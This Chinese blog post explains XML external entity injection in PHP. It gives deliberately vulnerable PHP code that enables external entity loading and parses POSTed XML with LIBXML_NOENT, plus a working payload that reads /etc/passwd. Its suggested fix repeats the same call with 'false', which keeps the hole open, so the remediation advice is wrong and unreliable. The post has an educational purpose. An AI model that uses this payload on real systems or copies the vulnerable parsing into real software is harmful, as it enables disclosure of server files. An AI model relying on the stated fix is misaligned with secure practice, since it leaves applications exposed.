XML实体注入漏洞

xiaohai 2021-05-15 21:22:12 共2147人围观 标签： php 
简介XML实体注入漏洞

参考链接

<?php
libxml_disable_entity_loader(false);
//第一种
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
    $xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT); //必须要有这个SimpleXMLElement
    var_dump($xml); 
}

//第二种
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
    $xml = new SimpleXMLElement($data, LIBXML_NOENT);
    var_dump($xml);
}
?>

那么POST的data数据为：

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY content SYSTEM "file:///etc/passwd">
]>
<note>
    <name>&content;</name>
</note>

如果需要修复，只需要在前面加上：

libxml_disable_entity_loader(false);

相同类型文章

热门标签

每日一句

    一生能够积累多少财富，不取决于你能够赚多少钱，而取决于你如何投资理财，钱找人胜过人找钱，要懂得钱为你工作，而不是你为钱工作。

    ——巴菲特

今日排行

  • Laravel使用MongoDB复杂的查询

    在使用Laravel中如果要进行复杂的查询，那么通过模型中的函数来查询是不行的，所以本文主要记录如何通过aggregate来进行复杂的查询。

  • Gin编译打包静态文件和模板文件

    如果在使用Gin框架编写web应用程序中，如果里面包含了模板文件和静态文件，我们如何进行打包呢？本文主要记录该操作。

  • Nginx搭建流媒体服务器

    最近关注流媒体服务器来做网络直播，本想使用阿里云的流媒体服务器，由于费用的问题还是想能否自己搭建一个流媒体服务器供自己测试使用。果不其然，Nginx居然如此强大，可以用来做流媒体服务器。本文将具体介绍流媒体服务器的搭建过程和使用过程。

  • Python调用WPS把文档转换PDF，并把PDF转图片

    Python调用WPS把文档转换PDF，并把PDF转图片，首先需要安装WPS，然后利用pypiwin32把文档转化成PDF，再利用fitz、PyMuPD把PDF转化成图片

  • Centos中用Chrome将网页导出为PDF

    Centos中用Chrome将网页导出为PDF，chrome --headless --print-to-pdf https://developer.chrome.com/

点击排行

友情链接